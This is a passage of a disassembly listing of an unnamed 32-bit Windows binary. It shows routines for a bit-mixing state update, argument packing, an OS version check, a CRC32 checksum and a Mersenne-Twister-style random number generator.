		mov	edx, [eax-0B4h]
		and	edx, [eax+6Ch]
		shl	edi, 0Fh
		xor	edi, ecx
		mov	ecx, [eax+0D8h]
		mov	[ebp+var_24], ecx
		mov	ecx, [eax+0DCh]
		mov	[eax+158h], edi
		mov	edi, [eax+0B8h]
		mov	[eax+15Ch], ebx
		mov	ebx, [ebp+var_1C]
		and	ebx, edi
		mov	edi, [ebp+var_18]
		mov	[ebp+var_20], ecx
		mov	ecx, [eax-0B8h]
		and	ecx, [eax+68h]
		mov	[ebp+var_44], ebx
		xor	ecx, [ebp+var_44]
		mov	ebx, [eax+0BCh]
		xor	ecx, [eax-168h]
		and	edi, ebx
		xor	ecx, [ebp+var_24]
		xor	edx, edi
		xor	edx, [eax-164h]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_20]
		mov	edi, ecx
		xor	edx, esi
		mov	ebx, edx
		shrd	edi, ebx, 7
		xor	ecx, edi
		shr	ebx, 7
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 5
		xor	ebx, edx
		mov	edx, [eax-0ACh]
		and	edx, [eax+74h]
		shl	edi, 5
		xor	edi, ecx
		mov	ecx, [eax+0E0h]
		mov	[eax+160h], edi
		mov	edi, [eax+0C0h]
		mov	[eax+164h], ebx
		mov	ebx, [ebp+var_24]
		and	ebx, edi
		mov	edi, [ebp+var_20]
		mov	[ebp+var_2C], ecx
		mov	ecx, [eax+0E4h]
		mov	[ebp+var_28], ecx
		mov	ecx, [eax-0B0h]
		and	ecx, [eax+70h]
		mov	[ebp+var_4C], ebx
		xor	ecx, [ebp+var_4C]
		mov	ebx, [eax+0C4h]
		xor	ecx, [eax-160h]
		and	edi, ebx
		xor	ecx, [ebp+var_2C]
		xor	edx, edi
		xor	edx, [eax-15Ch]
		xor	ecx, [ebp+var_C]
		xor	edx, [ebp+var_28]
		mov	edi, ecx
		xor	edx, esi
		mov	ebx, edx
		shrd	edi, ebx, 6
		shr	ebx, 6
		xor	ecx, edi
		xor	edx, ebx
		mov	edi, ecx
		mov	ebx, edx
		shld	ebx, edi, 1Fh
		shl	edi, 1Fh
		xor	edi, ecx
		xor	ebx, edx
		mov	ecx, [eax-0A8h]
		and	ecx, [eax+78h]
		mov	edx, [eax-0A4h]
		and	edx, [eax+7Ch]
		mov	[eax+168h], edi
		mov	edi, [eax+0C8h]
		mov	[eax+16Ch], ebx
		mov	ebx, [ebp+var_2C]
		and	ebx, edi
		mov	edi, [ebp+var_28]
		mov	[ebp+var_54], ebx
		mov	ebx, [eax+0CCh]
		xor	ecx, [ebp+var_54]
		and	edi, ebx
		xor	ecx, [eax-158h]
		xor	edx, edi
		xor	edx, [eax-154h]
		xor	ecx, [eax+0E8h]
		xor	edx, [eax+0ECh]
		xor	ecx, [ebp+var_C]
		xor	edx, esi
		mov	ebx, edx
		mov	edi, ecx
		shrd	edi, ebx, 0Ch
		xor	ecx, edi
		shr	ebx, 0Ch
		xor	edx, ebx
		mov	ebx, edx
		mov	edi, ecx
		shld	ebx, edi, 9
		xor	ebx, edx
		shl	edi, 9
		xor	edi, ecx
		mov	[eax+170h], edi
		mov	[eax+174h], ebx
		mov	eax, [ebp+var_C]
		and	eax, 2425CFA0h
		mov	edx, esi
		shr	edx, 1Fh
		xor	eax, edx
		mov	edx, [ebp+var_C]
		mov	ecx, esi
		shld	esi, edx, 1
		and	ecx, 7311C281h
		xor	edi, edi
		shl	edx, 1
		xor	ecx, edi
		xor	eax, edx
		xor	ecx, esi
		dec	[ebp+var_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		jnz	loc_9A94FB
		pop	edi
		pop	esi
		pop	ebx

locret_9A9C7C:				; CODE XREF: sub_9A94C6+1Cj
		leave
		retn
sub_9A94C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A9C7E(int,void *Src,int,void	*Val)

sub_9A9C7E	proc near		; CODE XREF: sub_9A9E4E+DCp

arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Val		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+Src], 0
		push	ebx
		push	edi
		mov	edi, [ebp+Val]
		mov	ebx, edi
		jnz	short loc_9A9C92
		push	9
		jmp	short loc_9A9C9A
; ---------------------------------------------------------------------------


loc_9A9C92:				; CODE XREF: sub_9A9C7E+Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_9A9CA0
		push	0Fh


loc_9A9C9A:				; CODE XREF: sub_9A9C7E+12j
		pop	eax
		jmp	loc_9A9D25
; ---------------------------------------------------------------------------


loc_9A9CA0:				; CODE XREF: sub_9A9C7E+18j
		push	esi
		mov	esi, [ebp+arg_8]
		test	esi, esi
		jl	short loc_9A9D21
		cmp	esi, 0FFh
		jg	short loc_9A9D21
		test	edi, edi
		jnz	short loc_9A9CD1
		mov	eax, esi
		shl	eax, 4
		add	eax, 59h
		push	8		; SizeOfElements
		push	eax		; NumOfElements
		call	calloc
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jnz	short loc_9A9CD1
		push	12h
		jmp	short loc_9A9D23
; ---------------------------------------------------------------------------


loc_9A9CD1:				; CODE XREF: sub_9A9C7E+34j
					; sub_9A9C7E+4Dj
		push	2C8h		; Size
		push	[ebp+Src]	; Src
		push	edi		; Dst
		call	memcpy
		push	esi
		push	edi
		call	sub_9A94C6
		shl	esi, 7
		push	80h		; Size
		lea	eax, [esi+edi+248h]
		push	eax		; Src
		push	[ebp+arg_0]	; Dst
		call	memcpy
		add	esp, 20h
		test	ebx, ebx
		jnz	short loc_9A9D1D
		add	esi, 2C8h
		push	esi		; Size
		push	ebx		; Val
		push	edi		; Dst
		call	memset
		push	edi		; Memory
		call	free
		add	esp, 10h


loc_9A9D1D:				; CODE XREF: sub_9A9C7E+85j
		xor	eax, eax
		jmp	short loc_9A9D24
; ---------------------------------------------------------------------------


loc_9A9D21:				; CODE XREF: sub_9A9C7E+28j
					; sub_9A9C7E+30j
		push	11h


loc_9A9D23:				; CODE XREF: sub_9A9C7E+51j
		pop	eax


loc_9A9D24:				; CODE XREF: sub_9A9C7E+A1j
		pop	esi


loc_9A9D25:				; CODE XREF: sub_9A9C7E+1Dj
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_9A9C7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9D29	proc near		; CODE XREF: sub_9A9DA3+79p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cdq
		shld	edx, eax, 8
		shl	eax, 8
		mov	ecx, eax
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, edx
		cdq
		or	ecx, eax
		mov	eax, [ebp+arg_8]
		or	esi, edx
		shld	esi, ecx, 4
		shl	ecx, 4
		cdq
		or	ecx, eax
		mov	eax, [ebp+arg_C]
		or	esi, edx
		shld	esi, ecx, 10h
		shl	ecx, 10h
		cdq
		or	ecx, eax
		mov	eax, [ebp+arg_10]
		or	esi, edx
		shld	esi, ecx, 8
		cdq
		shl	ecx, 8
		or	ecx, eax
		mov	eax, [ebp+arg_14]
		or	esi, edx
		shld	esi, ecx, 0Ch
		cdq
		shl	ecx, 0Ch
		or	ecx, eax
		or	esi, edx
		mov	edx, esi
		mov	eax, ecx
		pop	esi
		pop	ebp
		retn
sub_9A9D29	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A9D87	proc near		; CODE XREF: sub_9A9DA3+4Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cdq
		mov	ecx, eax
		mov	eax, [esp+arg_4]
		cdq
		push	esi
		xor	esi, esi
		shl	ecx, 18h
		or	esi, eax
		or	ecx, edx
		mov	eax, esi
		mov	edx, ecx
		pop	esi
		retn
sub_9A9D87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9DA3	proc near		; CODE XREF: sub_9A9E4E+C5p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Src		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h
arg_2C		= dword	ptr  34h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	0Fh
		pop	esi
		mov	eax, edi
		sub	ecx, edi
		mov	[ebp+arg_0], esi


loc_9A9DBB:				; CODE XREF: sub_9A9DA3+2Aj
		mov	edx, [ecx+eax]
		mov	[eax], edx
		mov	edx, [ecx+eax+4]
		mov	[eax+4], edx
		add	eax, 8
		dec	[ebp+arg_0]
		jnz	short loc_9A9DBB
		mov	ecx, [ebp+arg_8]
		xor	eax, eax


loc_9A9DD4:				; CODE XREF: sub_9A9DA3+44j
		mov	edx, [ecx+eax*8]
		mov	[edi+esi*8], edx
		mov	edx, [ecx+eax*8+4]
		mov	[edi+esi*8+4], edx
		inc	esi
		inc	eax
		cmp	eax, 8
		jl	short loc_9A9DD4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	sub_9A9D87
		mov	[ebp+Src], eax
		push	8		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		lea	eax, [edi+esi*8]
		push	eax		; Dst
		mov	[ebp+var_4], edx
		call	memcpy
		push	[ebp+arg_28]
		inc	esi
		push	[ebp+arg_24]
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		call	sub_9A9D29
		mov	[ebp+var_10], eax
		push	8		; Size
		lea	eax, [ebp+var_10]
		push	eax		; Src
		lea	esi, [edi+esi*8]
		push	esi		; Dst
		mov	[ebp+var_C], edx
		call	memcpy
		push	200h		; Size
		push	[ebp+arg_2C]	; Src
		add	esi, 8
		push	esi		; Dst
		call	memcpy
		add	esp, 44h
		pop	edi
		pop	esi
		leave
		retn
sub_9A9DA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9E4E	proc near		; CODE XREF: sub_9A8FF3+BEp

Val		= byte ptr -9F08h
Src		= byte ptr -2C8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h
arg_2C		= dword	ptr  34h

		push	ebp
		mov	ebp, esp
		mov	eax, 9F08h
		call	__alloca_probe
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jnz	short loc_9A9E67
		push	0Fh
		jmp	short loc_9A9E6E
; ---------------------------------------------------------------------------


loc_9A9E67:				; CODE XREF: sub_9A9E4E+13j
		cmp	[ebp+arg_2C], edi
		jnz	short loc_9A9E74
		push	0Ah


loc_9A9E6E:				; CODE XREF: sub_9A9E4E+17j
		pop	eax
		jmp	loc_9A9F40
; ---------------------------------------------------------------------------


loc_9A9E74:				; CODE XREF: sub_9A9E4E+1Cj
		xor	ecx, ecx
		push	esi
		mov	esi, [ebp+arg_14]
		mov	eax, 0FFh
		cmp	esi, eax
		setnle	cl
		xor	edx, edx
		cmp	esi, edi
		setl	dl
		or	ecx, edx
		jz	short loc_9A9E96
		push	11h
		jmp	loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9E96:				; CODE XREF: sub_9A9E4E+3Fj
		xor	ecx, ecx
		cmp	[ebp+arg_18], eax
		setnle	cl
		xor	edx, edx
		cmp	[ebp+arg_18], edi
		setl	dl
		or	ecx, edx
		jz	short loc_9A9EB1
		push	10h
		jmp	loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9EB1:				; CODE XREF: sub_9A9E4E+5Aj
		cmp	[ebp+arg_C], edi
		jl	loc_9A9F3C
		cmp	[ebp+arg_C], eax
		jg	short loc_9A9F3C
		cmp	[ebp+arg_20], edi
		jl	short loc_9A9F38
		cmp	[ebp+arg_20], 1000h
		jg	short loc_9A9F38
		cmp	[ebp+arg_28], edi
		jle	short loc_9A9F34
		cmp	[ebp+arg_28], 200h
		jg	short loc_9A9F34
		cmp	[ebp+arg_8], edi
		jnz	short loc_9A9EE4
		push	0Dh
		jmp	short loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9EE4:				; CODE XREF: sub_9A9E4E+90j
		cmp	[ebp+arg_4], edi
		jnz	short loc_9A9EED
		push	0Eh
		jmp	short loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9EED:				; CODE XREF: sub_9A9E4E+99j
		push	[ebp+arg_2C]
		lea	eax, [ebp+Src]
		push	[ebp+arg_28]
		push	[ebp+arg_24]
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_9A9DA3
		lea	eax, [ebp+Val]
		push	eax		; Val
		push	esi		; int
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	[ebp+arg_0]	; int
		call	sub_9A9C7E
		add	esp, 40h
		jmp	short loc_9A9F3F
; ---------------------------------------------------------------------------


loc_9A9F34:				; CODE XREF: sub_9A9E4E+82j
					; sub_9A9E4E+8Bj
		push	2
		jmp	short loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9F38:				; CODE XREF: sub_9A9E4E+74j
					; sub_9A9E4E+7Dj
		push	0Ch
		jmp	short loc_9A9F3E
; ---------------------------------------------------------------------------


loc_9A9F3C:				; CODE XREF: sub_9A9E4E+66j
					; sub_9A9E4E+6Fj
		push	0Bh


loc_9A9F3E:				; CODE XREF: sub_9A9E4E+43j
					; sub_9A9E4E+5Ej ...
		pop	eax


loc_9A9F3F:				; CODE XREF: sub_9A9E4E+E4j
		pop	esi


loc_9A9F40:				; CODE XREF: sub_9A9E4E+21j
		pop	edi
		leave
		retn
sub_9A9E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_9A9F43	proc near		; CODE XREF: sub_9B1F68+63p

VersionInformation= _OSVERSIONINFOA ptr	-0A0h
var_C		= word ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 0A0h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+78h+var_4], eax
		lea	eax, [ebp+78h+VersionInformation]
		push	eax		; lpVersionInformation
		mov	[ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
		call	GetVersionExA
		test	eax, eax
		jnz	short loc_9A9F72


loc_9A9F6D:				; CODE XREF: sub_9A9F43+35j
					; sub_9A9F43+4Ej ...
		push	0Ah
		pop	eax
		jmp	short loc_9A9F9F
; ---------------------------------------------------------------------------


loc_9A9F72:				; CODE XREF: sub_9A9F43+28j
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jb	short loc_9A9F9A
		jnz	short loc_9A9F6D
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 0
		jz	short loc_9A9F9A
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 1
		jnz	short loc_9A9F8D
		cmp	[ebp+78h+var_C], 2
		jb	short loc_9A9F9A


loc_9A9F8D:				; CODE XREF: sub_9A9F43+41j
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 2
		jnz	short loc_9A9F6D
		cmp	[ebp+78h+var_C], 1
		jnb	short loc_9A9F6D


loc_9A9F9A:				; CODE XREF: sub_9A9F43+33j
					; sub_9A9F43+3Bj ...
		mov	eax, 3E8h


loc_9A9F9F:				; CODE XREF: sub_9A9F43+2Dj
		mov	ecx, [ebp+78h+var_4]
		xor	ecx, ebp
		call	sub_9AAAC1
		add	ebp, 78h
		leave
		retn
sub_9A9F43	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A9FAE	proc near		; CODE XREF: sub_9A3C63+80p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	edi
		or	edi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_9A9FE2
		mov	edx, [esp+4+arg_0]
		push	ebx
		push	esi


loc_9A9FC0:				; CODE XREF: sub_9A9FAE+30j
		movzx	ecx, byte ptr [edx]
		push	8
		inc	edx
		pop	esi


loc_9A9FC7:				; CODE XREF: sub_9A9FAE+2Dj
		mov	ebx, ecx
		xor	ebx, edi
		shr	edi, 1
		test	bl, 1
		jz	short loc_9A9FD8
		xor	edi, 0EDB88320h


loc_9A9FD8:				; CODE XREF: sub_9A9FAE+22j
		shr	ecx, 1
		dec	esi
		jnz	short loc_9A9FC7
		dec	eax
		jnz	short loc_9A9FC0
		pop	esi
		pop	ebx


loc_9A9FE2:				; CODE XREF: sub_9A9FAE+Aj
		mov	eax, edi
		pop	edi
		retn
sub_9A9FAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A9FE6(int,int,void *Dst)

sub_9A9FE6	proc near		; CODE XREF: sub_9AA577+90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Dst		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+Dst]
		push	edi
		push	9C0h		; Size
		push	8Bh		; Val
		push	esi		; Dst
		call	memset
		and	dword ptr [esi+9C4h], 0
		mov	ebx, [ebp+arg_4]
		add	esp, 0Ch
		inc	ebx
		mov	edi, 270h
		cmp	ebx, edi
		mov	[esi+9C0h], esi
		jg	short loc_9AA020
		mov	ebx, edi


loc_9AA020:				; CODE XREF: sub_9A9FE6+36j
		mov	edx, [esi+4C8h]
		mov	ecx, [esi+9BCh]
		xor	ecx, edx
		xor	ecx, [esi]
		and	[ebp+Dst], 0
		mov	eax, ecx
		shr	eax, 1Bh
		xor	eax, ecx
		imul	eax, 19660Dh
		add	edx, eax
		add	eax, [ebp+arg_4]
		mov	[esi+4C8h], edx
		mov	ecx, [esi+9C0h]
		add	[ecx+4F4h], eax
		mov	ecx, [esi+9C0h]
		mov	[ecx], eax
		xor	ecx, ecx
		dec	ebx
		inc	ecx
		test	ebx, ebx
		mov	[ebp+var_8], ebx
		jle	loc_9AA19B


loc_9AA06F:				; CODE XREF: sub_9A9FE6+123j
		mov	eax, [ebp+arg_4]
		cmp	[ebp+Dst], eax
		jge	loc_9AA10F
		lea	eax, [ecx+132h]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		lea	eax, [eax+edx*4]
		mov	[ebp+var_4], eax
		lea	eax, [ecx+26Fh]
		cdq
		idiv	ebx
		mov	eax, edx
		mov	edx, [esi+9C0h]
		mov	eax, [edx+eax*4]
		xor	eax, [edx+ecx*4]
		mov	edx, [ebp+var_4]
		mov	ebx, [edx]
		xor	eax, ebx
		mov	edx, eax
		shr	edx, 1Bh
		xor	edx, eax
		mov	eax, [ebp+var_4]
		imul	edx, 19660Dh
		add	ebx, edx
		mov	[eax], ebx
		mov	ebx, [ebp+Dst]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+ebx*4]
		add	eax, ecx
		add	edx, eax
		mov	[ebp+var_4], edx
		lea	eax, [ecx+13Dh]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		mov	ebx, [ebp+var_8]
		lea	eax, [eax+edx*4]
		mov	edx, [ebp+var_4]
		add	[eax], edx
		mov	eax, [esi+9C0h]
		mov	[eax+ecx*4], edx
		lea	eax, [ecx+1]
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	[ebp+Dst]
		cmp	[ebp+Dst], ebx
		mov	ecx, edx
		jl	loc_9AA06F


loc_9AA10F:				; CODE XREF: sub_9A9FE6+8Fj
		cmp	[ebp+Dst], ebx
		jge	loc_9AA19B
		sub	ebx, [ebp+Dst]
		mov	[ebp+arg_4], ebx


loc_9AA11E:				; CODE XREF: sub_9A9FE6+1B3j
		lea	eax, [ecx+132h]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		lea	eax, [eax+edx*4]
		mov	[ebp+var_4], eax
		lea	eax, [ecx+26Fh]
		cdq
		idiv	ebx
		mov	eax, [esi+9C0h]
		mov	edx, [eax+edx*4]
		xor	edx, [eax+ecx*4]
		mov	eax, [ebp+var_4]
		mov	ebx, [eax]
		xor	edx, ebx
		mov	eax, edx
		shr	eax, 1Bh
		xor	eax, edx
		mov	edx, [ebp+var_4]
		imul	eax, 19660Dh
		add	ebx, eax
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	[edx], ebx
		lea	eax, [ecx+13Dh]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		lea	eax, [eax+edx*4]
		mov	edx, [ebp+var_4]
		add	[eax], edx
		mov	eax, [esi+9C0h]
		mov	[eax+ecx*4], edx
		lea	eax, [ecx+1]
		cdq
		mov	ecx, edi
		idiv	ecx
		dec	[ebp+arg_4]
		mov	ecx, edx
		jnz	short loc_9AA11E


loc_9AA19B:				; CODE XREF: sub_9A9FE6+83j
					; sub_9A9FE6+12Cj
		mov	[ebp+arg_4], edi


loc_9AA19E:				; CODE XREF: sub_9A9FE6+238j
		lea	eax, [ecx+132h]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		lea	eax, [eax+edx*4]
		mov	[ebp+var_4], eax
		mov	eax, [eax]
		mov	[ebp+Dst], eax
		lea	eax, [ecx+26Fh]
		cdq
		idiv	ebx
		mov	ebx, [ebp+Dst]
		mov	eax, edx
		mov	edx, [esi+9C0h]
		mov	eax, [edx+eax*4]
		add	eax, [edx+ecx*4]
		add	eax, ebx
		mov	edx, eax
		shr	edx, 1Bh
		xor	edx, eax
		mov	eax, [ebp+var_4]
		imul	edx, 5D588B65h
		xor	ebx, edx
		mov	[eax], ebx
		sub	edx, ecx
		mov	[ebp+var_4], edx
		lea	eax, [ecx+13Dh]
		cdq
		mov	ebx, edi
		idiv	ebx
		mov	eax, [esi+9C0h]
		lea	eax, [eax+edx*4]
		mov	edx, [ebp+var_4]
		xor	[eax], edx
		mov	eax, [esi+9C0h]
		mov	[eax+ecx*4], edx
		lea	eax, [ecx+1]
		cdq
		mov	ecx, edi
		idiv	ecx
		dec	[ebp+arg_4]
		mov	ecx, edx
		jnz	loc_9AA19E
		mov	ecx, [esi+9C0h]
		mov	[esi+9C4h], edi
		mov	eax, offset dword_9B8778
		xor	edi, edi
		sub	ecx, eax


loc_9AA239:				; CODE XREF: sub_9A9FE6+262j
		mov	edx, [ecx+eax]
		and	edx, [eax]
		add	eax, 4
		xor	edi, edx
		cmp	eax, offset dword_9B8788
		jl	short loc_9AA239
		push	10h
		pop	ecx


loc_9AA24D:				; CODE XREF: sub_9A9FE6+271j
		mov	eax, edi
		sar	eax, cl
		sar	ecx, 1
		xor	edi, eax
		test	ecx, ecx
		jg	short loc_9AA24D
		and	edi, 1
		jnz	short loc_9AA293
		xor	ecx, ecx


loc_9AA260:				; CODE XREF: sub_9A9FE6+2ABj
		cmp	ecx, 10h
		jge	short loc_9AA293
		mov	eax, dword_9B8778[ecx]
		xor	edx, edx
		inc	edx
		xor	ebx, ebx


loc_9AA270:				; CODE XREF: sub_9A9FE6+294j
		test	eax, edx
		jnz	short loc_9AA27E
		shl	edx, 1
		inc	ebx
		cmp	ebx, 20h
		jl	short loc_9AA270
		jmp	short loc_9AA28B
; ---------------------------------------------------------------------------


loc_9AA27E:				; CODE XREF: sub_9A9FE6+28Cj
		mov	eax, [esi+9C0h]
		add	eax, ecx
		xor	[eax], edx
		xor	edi, edi
		inc	edi


loc_9AA28B:				; CODE XREF: sub_9A9FE6+296j
		add	ecx, 4
		cmp	edi, 1
		jnz	short loc_9AA260


loc_9AA293:				; CODE XREF: sub_9A9FE6+276j
					; sub_9A9FE6+27Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A9FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AA298	proc near		; CODE XREF: sub_9AA638+10p

var_44		= dword	ptr -44h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+9C4h], 270h
		jl	loc_9AA55D
		lea	ecx, [eax+9A0h]
		push	ebx
		mov	[ebp+var_4], ecx
		push	esi
		lea	ecx, [eax+9B0h]
		add	eax, 7A8h
		mov	[ebp+var_8], 22h
		push	edi


loc_9AA2CF:				; CODE XREF: sub_9AA298+16Ej
		mov	edi, [eax-7A8h]
		mov	esi, [eax-7A4h]
		mov	[ebp+var_10], edi
		xor	edx, edx
		or	edx, edi
		mov	edi, [eax-7A0h]
		xor	ebx, ebx
		or	esi, ebx
		mov	[ebp+var_24], esi
		mov	[ebp+var_C], esi
		shld	esi, edx, 8
		shl	edx, 8
		mov	[ebp+var_18], edx
		xor	edx, edx
		or	edx, edi
		mov	[ebp+var_14], esi
		mov	esi, [eax-79Ch]
		or	esi, ebx
		mov	edi, esi
		shld	edi, edx, 8
		shl	edx, 8
		mov	esi, edx
		mov	edx, edi
		mov	edi, [ebp+var_24]
		shr	edi, 18h
		or	esi, edi
		mov	edi, [ebp+var_4]
		or	edx, ebx
		mov	[ebp+var_44], edx
		mov	edx, [edi+0Ch]
		mov	edi, [edi+8]
		or	edx, ebx
		mov	[ebp+var_30], esi
		xor	esi, esi
		or	esi, edi
		mov	edi, esi
		shrd	edi, edx, 8
		mov	[ebp+var_20], edi
		xor	edi, edi
		shr	edx, 8
		mov	[ebp+var_1C], edx
		mov	edx, [ebp+var_4]
		mov	edx, [edx+4]
		or	edx, ebx
		mov	[ebp+var_C], esi
		or	esi, edi
		mov	edi, [ebp+var_4]
		mov	edi, [edi]
		shr	edi, 8
		shld	esi, edx, 18h
		shl	edx, 18h
		or	edx, edi
		mov	edi, [ebp+var_1C]
		mov	[ebp+var_34], edi
		mov	edi, [eax-8]
		shr	edi, 0Bh
		and	edi, 1FFFEFh
		or	esi, ebx
		mov	ebx, [ecx]
		shl	ebx, 12h
		xor	edi, ebx
		xor	edi, edx
		xor	edi, [ebp+var_10]
		lea	edx, [eax-7A8h]
		xor	edi, [ebp+var_18]
		mov	[edx], edi
		mov	edi, [eax-4]
		mov	ebx, [ecx+4]
		shr	edi, 0Bh
		and	edi, 1ECB7Fh
		shl	ebx, 12h
		xor	edi, ebx
		xor	edi, [eax-7A4h]
		xor	edi, esi
		xor	edi, [ebp+var_14]
		mov	[eax-7A4h], edi
		mov	esi, [eax]
		mov	edi, [ecx+8]
		shr	esi, 0Bh
		and	esi, 1AFFFFh
		shl	edi, 12h
		xor	esi, edi
		xor	esi, [ebp+var_20]
		add	eax, 10h
		xor	esi, [ebp+var_30]
		mov	[ebp+var_4], ecx
		xor	[eax-7B0h], esi
		mov	esi, [eax-0Ch]
		mov	edi, [ecx+0Ch]
		shr	esi, 0Bh
		and	esi, 1FFFF6h
		shl	edi, 12h
		xor	esi, edi
		xor	esi, [eax-7ACh]
		mov	ecx, edx
		xor	esi, [ebp+var_34]
		xor	esi, [ebp+var_44]
		dec	[ebp+var_8]
		mov	[eax-7ACh], esi
		jnz	loc_9AA2CF
		mov	eax, [ebp+arg_0]
		add	eax, 8
		mov	[ebp+var_8], 7Ah


loc_9AA419:				; CODE XREF: sub_9AA298+2B2j
		mov	edi, [eax+218h]
		mov	esi, [eax+21Ch]
		mov	[ebp+var_C], edi
		xor	edx, edx
		or	edx, edi
		mov	edi, [eax+220h]
		xor	ebx, ebx
		or	esi, ebx
		mov	[ebp+var_2C], esi
		mov	[ebp+var_10], esi
		shld	esi, edx, 8
		shl	edx, 8
		mov	[ebp+var_20], edx
		xor	edx, edx
		or	edx, edi
		mov	[ebp+var_1C], esi
		mov	esi, [eax+224h]
		or	esi, ebx
		mov	edi, esi
		shld	edi, edx, 8
		shl	edx, 8
		mov	esi, edx
		mov	edx, edi
		mov	edi, [ebp+var_2C]
		shr	edi, 18h
		or	esi, edi
		mov	edi, [ebp+var_4]
		or	edx, ebx
		mov	[ebp+var_34], edx
		mov	edx, [edi+0Ch]
		mov	edi, [edi+8]
		or	edx, ebx
		mov	[ebp+var_28], esi
		xor	esi, esi
		or	esi, edi
		mov	edi, esi
		shrd	edi, edx, 8
		mov	[ebp+var_18], edi
		xor	edi, edi
		shr	edx, 8
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_4]
		mov	edx, [edx+4]
		or	edx, ebx
		mov	[ebp+var_10], esi
		or	esi, edi
		mov	edi, [ebp+var_4]
